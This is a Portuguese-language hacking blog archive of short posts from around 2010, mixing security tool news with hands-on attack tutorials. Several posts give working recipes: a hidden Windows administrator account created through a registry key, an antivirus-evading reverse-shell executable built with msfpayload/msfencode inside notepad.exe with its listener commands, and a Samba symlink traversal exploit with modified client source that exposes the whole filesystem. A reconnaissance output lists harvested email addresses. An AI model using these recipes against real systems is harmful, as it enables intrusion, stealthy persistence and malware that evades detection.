Category: Hacking


Hoje em dia tornou-se popular as distribuições que ajudam em tarefas específicas, pois é, recentemente foi lançada pelo Lenny Zeltser o REMnux, uma distribuição Linux e leve para auxiliar os analistas de malware em fazer engenharia reversa em malwares. A distribuição é baseada no Ubuntu e muito útil para a análise de malware baseado na web, tais como JavaScript malicioso, malware codado em java e arquivos Flash. Também possui ferramentas para analisar os documentos maliciosos, como
Microsoft Office e Adobe PDF, contém também utilitários para análise de malware alojados na memória. Nestes casos, o malware pode ser carregados no REMnux e analisadas diretamente no sistema sem a necessidade de outros OS.

Onde Fazer download: https://sourceforge.net/downloads/remnux/version1/

Por enquanto esta disponível somente a versão para vmware e o gerenciador gráfico utilizado é o Enlightenment.

Para logar no REMnux: Usuário “remnux” e senha “malware”.

Mais Infos sobre as novas versões: http://zeltser.com/remnux/

Um distribuição semelhante criada pelo Rob lee chamado SANS Investigative Forensic Toolkit (SIFT), que também foi criada para auxiliar nos cursos de Engenharia Reversa de Malware da SANS: https://computer-forensics2.sans.org/community/siftkit

[]‘s

Sergito

Uma falha que afeta grande parte do windows Vista e 2008 server foi publicada recentemente juntamente com o seu exploit no securityfocus. A falha local explora diretamente o kernel do windows e se vulnerável escala privilégios, caso contrário pode causar um DoS. Vale a pena conferir e testar..

Vulnerable: Microsoft Windows Vista Ultimate 64-bit edition SP2
Microsoft Windows Vista Ultimate 64-bit edition SP1
Microsoft Windows Vista Home Premium 64-bit edition SP2
Microsoft Windows Vista Home Premium 64-bit edition SP1
Microsoft Windows Vista Home Basic 64-bit edition SP2
Microsoft Windows Vista Home Basic 64-bit edition SP1
Microsoft Windows Vista Enterprise 64-bit edition SP2
Microsoft Windows Vista Enterprise 64-bit edition SP1
Microsoft Windows Vista Business 64-bit edition SP2
Microsoft Windows Vista Business 64-bit edition SP1
Microsoft Windows Vista Ultimate SP2
Microsoft Windows Vista Ultimate SP1
Microsoft Windows Vista Home Premium SP2
Microsoft Windows Vista Home Premium SP1
Microsoft Windows Vista Home Basic SP2
Microsoft Windows Vista Home Basic SP1
Microsoft Windows Vista Enterprise SP2
Microsoft Windows Vista Enterprise SP1
Microsoft Windows Vista Business SP2
Microsoft Windows Vista Business SP1
Microsoft Windows Server 2008 for x64-based Systems SP2
Microsoft Windows Server 2008 for x64-based Systems 0
Microsoft Windows Server 2008 for Itanium-based Systems SP2
Microsoft Windows Server 2008 for Itanium-based Systems 0
Microsoft Windows Server 2008 for 32-bit Systems SP2
Microsoft Windows Server 2008 for 32-bit Systems 0

Mais info.. http://www.securityfocus.com/bid/41280/info

[]‘s

Sergito

Lançada a nova edição da revista digital Hakin9, nesta edição dando um foco sobre Segurança em redes VOIP e um outro artigo explicando a técnica de sniffar tráfego SSL sobre windows, um paper antigo, já demonstrado na BalckHat no ano passado.

Em destaque nesta edição:

  • Disclosure Policies
  • GPS Tracking with mobile phone
  • Hijacking SSL: SSLStrip on Windows
  • Birth of an Evil Twin Taking Social Engineering to the Social Web
  • Securing Voice Over Internet Protocol (VoIP)
  • FIFA World Cup 2010 Network Security Advisory
  • Hacking the Bad Guys
  • Managing Your Facebook Privacy in 2010

Download: http://download.hakin9.org/en/Securing_VoIP_06_2010.pdf

[]‘s

Sergito

Digamos que vc entrou em um sistema windows e gostaria de criar um usuário invisível ao olho nu do administrador, huum.. isso sim é possivel!! veja os procedimentos abaixo:

1) Vamos abrir o cmd e criar um usuário com permissão de administrador…

net user teste 123 /add   << usuário teste senha 123

Add ao grupo de administradores

net localgroup Administrators teste /add   << usuário teste pertence ao grupo !!

2) Deixar o usuário invisível!

Crie um valor do tipo “REG_DWORD” chamado “teste” com o valor 0 (zero) na chave abaixo:

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList

O nome da string criada tem que ser o mesmo do usuário!! Dai é só vc abrir o painel de controle > contas de usuários e verificar se o usuário consta na lista.

A outras maneiras de localizar esse usuário “invisível” claro… mas para um leigo as vezes usar deste artifícil é válido!!

No windows Xp eu testei e funcionou sem problemas, não testei no windows 7!! =(

[]‘s

Sergito

Uma ferramenta escrita em python de enumeration para e-mails e domínios, presente no backtrack, o the harvester é semelhante o Maltego  colhe informações de um domínio específico, essencial quando se quer saber mais informações do alvo ou então saber quais os e-mails da sua empresa estão circulando por ae causando mais spams.

A versão mais recente (1.6) colhe informações de subdomínios, que saiu agora em 11/05/2010 e pode ser baixado no site: http://www.edge-security.com/theHarvester.php

Ele te da a opção de vc utiliza vários mecanismos de busca, google, bing ou linkedin. Fiz um teste com o domínio do terra usando o google e o resultado:

debian:~/theHarvester# python theHarvester.py -d terra.com.br -b google

*************************************
*TheHarvester Ver. 1.6             *
*Coded by Christian Martorella      *
*Edge-Security Research             *
*cmartorella@edge-security.com      *
*************************************

Searching for terra.com.br in google :
======================================

Limit:  100
Searching results: 0

Accounts found:
====================

oscar.fwb@terra.com.br
cpena50@terra.com.br
====================

Total results:  2

Hosts found:
====================

www.terra.com.br
mail.terra.com.br
chat.terra.com.br
diversao.terra.com.br
esportes.terra.com.br
musica.terra.com.br
noticias.terra.com.br
anhembi.terra.com.br
carnaval.terra.com.br
webgames.terra.com.br
nelioguerson.blog.terra.com.br
brazilianjiujitsucamp.blog.terra.com.br
letras.terra.com.br
gustavonoblat.blog.terra.com.br
fotolog.terra.com.br
sdp.terra.com.br
editora3.terra.com.br
topgames.terra.com.br
odia.terra.com.br
banheirofeminino.terra.com.br
videocelular.terra.com.br
terratv.terra.com.br
listas.terra.com.br
macmais1.terra.com.br
jbonline.terra.com.br
vcnoplaneta.terra.com.br
caravela.terra.com.br
ofuxico.terra.com.br
360graus.terra.com.br
virtualbooks.terra.com.br
terramagazine.terra.com.br
manaus.flogbrasil.terra.com.br
games.terra.com.br
duvidas.terra.com.br
webmail.terra.com.br
webmail.itelefonica.terra.com.br
1j5.terra.com.br
seriesonline.terra.com.br
idolosblog.blog.terra.com.br
veganaporamoraosanimais.blog.terra.com.br
culinaria.terra.com.br
sonora.terra.com.br
alemdaterra.blog.terra.com.br
mulher.terra.com.br
annaclbarros.blog.terra.com.br
cinema.terra.com.br
territorio.terra.com.br
carroonline.terra.com.br
apoenaaugusto.blog.terra.com.br
espnbrasil.terra.com.br
Letras.terra.com.br
comunicacaoecidadania.blog.terra.com.br
saude.terra.com.br
educaterra.terra.com.br
cidades.terra.com.br
projetoambsex.terra.com.br
carnaval2008.terra.com.br
vivermelhor.terra.com.br
vilamulher.terra.com.br
tecnologia.terra.com.br
beleza.terra.com.br
vidaeestilo.terra.com.br
mapas2.terra.com.br
waves.terra.com.br
carosamigos.terra.com.br
divulgafacil.terra.com.br
economia.terra.com.br
watashiwaotakusan.blog.terra.com.br
radio.terra.com.br
mapas.terra.com.br
cybercook.terra.com.br
moda.terra.com.br
blogdaamazonia.blog.terra.com.br
fliperama.terra.com.br

Utilizando o mecanismo de busca bing, não resgatou nenhum e-mail mas a lista de subdomínios foi maior.

[]‘s

Sergito

Novo método de ataque sobre wordpress!! Fiquem de olho, pois um servidor do dreamhost foi comprometido e estava hospedando um malware.

link: http://www.wpsecuritylock.com/breaking-news-wordpress-hacked-with-zettapetta-on-dreamhost/

Correção alternativa: http://blog.sucuri.net/2010/05/simple-cleanup-solution-for-latest.html

[]‘s

Sergito

Vale a pena dar uma lida no post do HD Moore falando se os penetration tester de hoje devem saber asm ou não, nessa ele exemplificou o exploit do Gustavo Scotti no qual o shellcode estava com algumas instruções que, na minha opnião não deveriam estar ali presente. É um exploit antigo, de 2001, mas abre o olho do pessoal que tem o costume de pegar o código, compilar e run!!

Link: http://blog.metasploit.com/2010/04/penetration-testing-learn-assembly.html

[]‘s Sergito

Depois de uns dias sem postar, volto aqui novamente com um post interessante!! Um tutorial bem completo saiu no site do securityninja sobre burp suite. Para quem não conhece, o burp suite é uma ferramenta para automatizar ataques em aplicações web, onde pode ser baixado aqui: http://portswigger.net/suite/download.html

Tutorial: http://www.securityninja.co.uk/burp-suite-tutorial-the-intruder-tool

[]‘s Sergito

Peço desculpa aos poucos leitores deste blog, pelos posts tão diretos, é que o tempo ta curto msm!!

Depois de algumas pesquisas na net, consegui criar um executável com o msfencode no qual faz um “reverse shell” sendo detectável apenas por 3 AV’s. Um vídeo do pauldotcom demonstra como fazer, porém a grande sacada não é explicada no vídeo, quando é injetado strings do notepad.exe dentro do “malware”, então.. mãos a obra!!

Primeiramente vc precisará do metasploit instalado e de preferência atualizado, eu utilizei o BT4 e um windows xp para a execução do malware.

1) Vamos copiar o notepad.exe de alguma máquina windows para o diretório de templates do msfencode, porque será essencial para a criação do malware.

Como visto acima, o notepad.exe deverá ficar no /opt/metasploit3/msf3/data/templates

2) Agora injetaremos o payload no executável, para isso voltaremos ao diretório /opt/metasploit3/msf3 e executaremos:

msfpayload windows/shell/reverse_tcp LHOST=192.168.48.142 LPORT=4444 R | ./msfencode -x notepad.exe -t exe -e x86/shikata_ga_nai -o malware1.exe

No qual o ip 192.168.48.142(bt4) é onde o alvo do nosso malware irá tentar conectar na porta 4444.

3) Arquivo criado, agora vamos verificar com o vitus total para tirar a prova!

Maravilha!! Avg, Symantec e Microsoft, estes foram os 3 AV’s que detectaram o nosso malware:

http://www.virustotal.com/pt/analisis/50d138c0dd8ac5bd75590d8a688473558d07cb1468fe7091b5b5e2a57d0a5339

4) Agora iremos executar e verificar se tudo esta ocorrendo bem! ;)

Primeiramente, no seu bt4 (192.168.48.142), na pasta /opt/metasploit3/msf3/, execute:

msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_tcp LHOST=192.168.48.142 LPORT=4444 E

5) Agora nosso bt4 já esta pronto para receber a conexão do nosso alvo, para isso só falta executar o malware….

e…. enquanto isso no bt4…

Pronto!! Feito!!


Dentre outras maneiras de injetar o payload, essa foi a mais eficaz contra os AV’s, alguns exemplos abaixo no qual tentei:

./msfpayload windows/shell/reverse_tcp LHOST=192.168.48.142 LPORT=4444 R | ./msfencode -b ‘ ‘ | ./msfencode -x notepad.exe -t exe -e x86/shikata_ga_nai -o malware2.exe


./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.48.142 LPORT=4444 R | ./msfencode -e x86/fnstenv_mov -b ‘\x00\xff’ -t raw | ./msfencode -b ‘ ‘ -t exe -o malware3.exe

[]‘s Sergito


Referências:

http://pauldotcom.com/2010/02/bypassing-av-with-msfencode–x.html

O assunto do dia foi esse, depois que o kcope publicou o exploit do samba ontem (04-02-2010), muito semelhante a que ocorreu em 2004, fui testa-lo para ser assunto de mais um post aqui no blog. Quando explorado a falha, é possível  listar, ler e copiar arquivos para o sistema atacado, não somente no diretório compartilhado pelo samba, mas sim todo o “/” do seu linux. Nos testes que realizei (Debian), só foi preciso criar um compartilhamento com permissão de escrita para todos, que é necessário para o xploit funcionar.

1) Mão na massa, primeiramente baixe o source do samba, eu utilizei a versão 3.4.5: http://samba.org/samba/ftp/stable/samba-3.4.5.tar.gz

2) Será necessário alterar um arquivo do source do samba e alterar um bloco como descrito abaixo:

vi ~/samba-3.4.5/source3/client/client.c

/****************************************************************************
UNIX symlink.
****************************************************************************/

static int cmd_symlink(void)
{
TALLOC_CTX *ctx = talloc_tos();
char *oldname = NULL;
char *newname = NULL;
char *buf = NULL;
char *buf2 = NULL;
char *targetname = NULL;
struct cli_state *targetcli;

if (!next_token_talloc(ctx, &cmd_ptr,&buf,NULL) ||
!next_token_talloc(ctx, &cmd_ptr,&buf2,NULL)) {
d_printf(“symlink <oldname> <newname>\n”);
return 1;
}
oldname = talloc_asprintf(ctx,
“%s”,                // << HERE modified
buf);
if (!oldname) {
return 1;
}
newname = talloc_asprintf(ctx,
“%s”,                // << HERE modified
buf2);
if (!newname) {
return 1;
}
/* COMENTE
oldname = talloc_asprintf(ctx,
“%s%s”,                // < modified (see above)
client_get_cur_dir(),        // < removed (see above)
buf);
if (!oldname) {
return 1;
}
newname = talloc_asprintf(ctx,
“%s%s”,                // < modified (see above)
client_get_cur_dir(),        // < removed (see above)
buf2);
if (!newname) {
return 1;
}
———————————————-*/

if (!cli_resolve_path(ctx, “”, auth_info, cli, oldname, &targetcli, &targetname)) {
d_printf(“link %s: %s\n”, oldname, cli_errstr(cli));
return 1;

}

if (!SERVER_HAS_UNIX_CIFS(targetcli)) {
d_printf(“Server doesn’t support UNIX CIFS calls.\n”);
return 1;
}

if (!cli_unix_symlink(targetcli, targetname, newname)) {
d_printf(“%s symlinking files (%s -> %s)\n”,
cli_errstr(targetcli), newname, targetname);
return 1;
}

return 0;
}

——————————————————————————————————————————

Como visto acima, algumas linhas do bloco “UNIX symlink” foram alterados, a melhor opção é remover o bloco do arquivo original e colar o bloco acima no seu source.

3) Agora vamos compilar o samba:

# cd ~/samba-3.4.5/source3/

#./configure  && make && make install

4) Localizar o diretório compartilhado:

# smbclient -s /etc/samba/smb.conf -L //192.168.48.128

Irá listar os diretórios compartilhados no alvo, no meu caso deu um problema com uma biblioteca no momento da execução, para resolver alterei a variável LD_LIBRARY_PATH.

# export LD_LIBRARY_PATH=/usr/local/samba/lib    < local da lib do samba

5) Acessando o compartilhamento:

# smbclient -s /etc/samba/smb.conf   //192.168.48.128/shared

A pasta compartilhada chama-se “shared”, lembrando, ela deverá ter permissão total de escrita para o guest.

6) Xploit!!

Vc irá cair no prompt do samba (smb: \>), se vc executar o “ls”, ele irá listar os arquivo de dentro da pasta compartilhada, mas e agora??

no prompt do samba digite:  symlink ../../../../../ root

Executando o “ls” novamente, listará uma pasta chamada “root”, óóóóóóóóó!! Agora entre nela!

smb: \> cd root

smb: \root\> ls

UAUUU!! o conteúdo do “/” inteiro a disposição!! Agora é só navegar nas pastas e transferir arquivos!!

Esta 0day é de total crédito do kcope, autor de diversas 0day’s. (http://www.milw0rm.com/author/113 | http://twitter.com/Kingcope)

[]‘s Sergito

vi ~/samba-3.4.5/source3/client/client.c

Após alguns dias que o nelson brito (@nbrito) divulgou a ferramenta, resolvi testa-la. A ferramenta ENG® SQL Fingerprint™ realiza fingerprint sobre versões do Microsoft SQL Server versões 2000, 2005 e 2008 e identifica a versão através de algoritmos de probabilidades, muito útil quando levantamos mais detalhes do nosso alvo.

Testando a Ferramenta:

C:\esf-RTM.exe -d 92.62.xx.xx
ESF [1.00.0006/RTM] built on Jan 22 2010 [11:03:09].
Loading SQL Server Fingerprint Engine [SQLFPENG].
Module SQLFPENG [1.10.0122] loaded on Jan 31 2010 [22:34:32].
Module SQLFPENG failed to perform SQL Server UDP Fingerprint.
Module SQLFPENG found SQL Server TCP Fingerprint Version [8.00.2039].
Module SQLFPENG found SQL Server Version [Microsoft SQL 2000 SP4].
Module SQLFPENG found SQL Server default TCP Communication Port [1433].
Module SQLFPENG succeeded to detect Microsoft SQL Server Version [100%].
Unloading SQL Server Fingerprint Engine [SQLFPENG].
Module SQLFPENG [1.10.0122] unloaded on Jan 31 2010 [22:34:43].
Module SQLFPENG succeeded after 01 tentative.
Elapsed Execution Time (DD:HH:MM:SS): 00:00:00:11.

Ele me retornou que o alvo está rodando um SQL Server 2000 com SP4. Detalhe! Isso levou apenas 11 segundos!! Futuramente realizarei mais testes!

[]‘s Sergito

Ncrack é uma ferramenta open source para crackear autenticação em redes, desenvolvido pelo famoso fyodor e o ithilgore a ferramenta trabalha muito rapidamente!! realmente é incrível msm, atualmente na sua versão ALPHA 0.01 é capaz de auditar somente alguns protocolos (SSH, HTTPS, TELNET, FTP), mas como dito pelo fyodor no seu blog, ele foi desenvolvido em módulos sendo possível  fácil alteração para suportar outros protocolos.

É uma ferramenta ideal para auditar senhas fracas em grandes redes de uma forma confiável e rápida, ou pensando do outro lado, um brute force em serviços individuais.

Disponível para Windows, *nix e Mac OS X : http://nmap.org/ncrack/

Exemplo na Vm Debian:

debian:~# ncrack 192.168.48.10:21

Starting Ncrack 0.01ALPHA ( http://ncrack.org ) at 2010-01-29 23:35 Horário Brasileiro de Verão

Discovered credentials for ftp on 192.168.48.10 21/tcp:
192.168.48.10 21/tcp ftp: ftp password

Ncrack done: 1 services scanned in 6.03 seconds.
Ncrack finished.

[]‘s Sergito

As vezes na correria do dia a dia tem a necessidade de quebrar uma hash md5, dai vc corre em um site, em outro, e nada de quebrar o hash, agora  os seus problemas acabaram!! Para isso tem o MD5 Cracker!! Ele faz uma consulta em diversos sites automaticamente a procura do hash no qual vc quer quebrar, é uma economia de tempo gigante!!

E ainda mais!! é possivel add uma lista de hashes e ele faz todo o papel sujo para vc!! Show!

Download: MD5Cracker

[]‘s Sergito

Agora baseado em debian, o a versão final do backtrack esta lançada, com muitas ferramentas forenses, teste de penetração e auditoria agora também é possivel atualizar os pacotes e instalar ferramentas novas a medida que forem sendo desenvolvidas, tudo isso sincronizando com os repositórios oficiais do backtrack. good hacking!

Testarei em breve!!

segue o link para baixar: http://www.backtrack-linux.org/downloads/

[]‘s Sergito

Será uma possível 0day para mysql? A intevydis publicou um video com o PoC onde era possível executar códigos remotamente em algum sistema que estiver rodando o MySQL 5.x. O video demonstra a exploração na versão 5.0.51a-24, o que resta agora é atualizar e aguardar maiores informações, ou se vc escreve xploits, tem um caminho a seguir!!

Ahh!! quem possui o CANVAS pode realizar o teste, ja esta incluso no VulnDisco exploit pack.

É isso aí msm, modo Deus no windows 7, o que seria isso? Essa semana a Microsoft soltou na net um lugar escondido onde se concentram varias ferramentas para a customização do seu windows 7, simplesmente um gpedit bem organizado e com muito mais opções.

Ativar o “modo Deus” é simples: abra uma janela do Windows Explorer e clique com o botão direito do mouse. Escolha a opção Nova Pasta e, na hora de dar seu nome, cole o seguinte texto:

GodMode.{ED7BA470-8E54-465E-825C-99712043E01C}

É verdade que o modo é um paraíso para qualquer técnico, que não precisará mais recorrer a diferentes menus do Painel de Controle para realizar configurações simples. Todavia, por apresentar todas as opções, inclusive de ferramentas administrativas para formatação e particionamento de disco, pode se tornar um pesadelo para usuários de pouca prática e fuçadores.

Detalhe: Também funciona no vista!

Esqueceu a senha de administrador do seu server 2003 ou Xp ou 2008 ou outro linux qualquer?? Te apresento a solução para isso!! o kon-boot!!

Kon-boot é um cd bootável que te possibilita logar sem precisar de senha, a diferença dele com outras ferramentas, como é o caso do ntpasswd é que o kon-boot não ALTERA seus arquivos! a sua senha continua intacta! é uma pena que não tive bons resultados nos testes que eu fiz em OS na arquitetura X64, mas ele funciona bem nos seguintes OS:

Windows Server 2008 Standard SP2
Windows Vista Business SP0
Windows Vista Ultimate SP1
Windows Vista Ultimate SP0
Windows Server 2003 Enterprise
Windows XP
Windows XP SP1
Windows XP SP2
Windows XP SP3
Windows 7

No linux testei com o opensuse o debian e CentOS e não tive problemas, não sei se ele funciona com lilo bootloader =(

Após o boot, nas máquinas linux logue com o usuário: kon-usr

Nas máquinas windows, logue com o usuário administrador e a senha em branco. Pronto!! Simples assim

O site do projeto: http://www.piotrbania.com/all/kon-boot/

Para o download direto: http://www.piotrbania.com/all/kon-boot/data/CD-konboot-v1.1-2in1.zip

kon-usr

Pra galera que curte um regedit, o pessoal da irongeek postou as principais chaves do regedit quando se realizar um forense em um desses OS. Artigo bem interessante, tem até um passo a passo, vale a pena da uma lida!

http://www.irongeek.com/i.php?page=security/windows-forensics-registry-and-file-system-spots

[]‘s sergito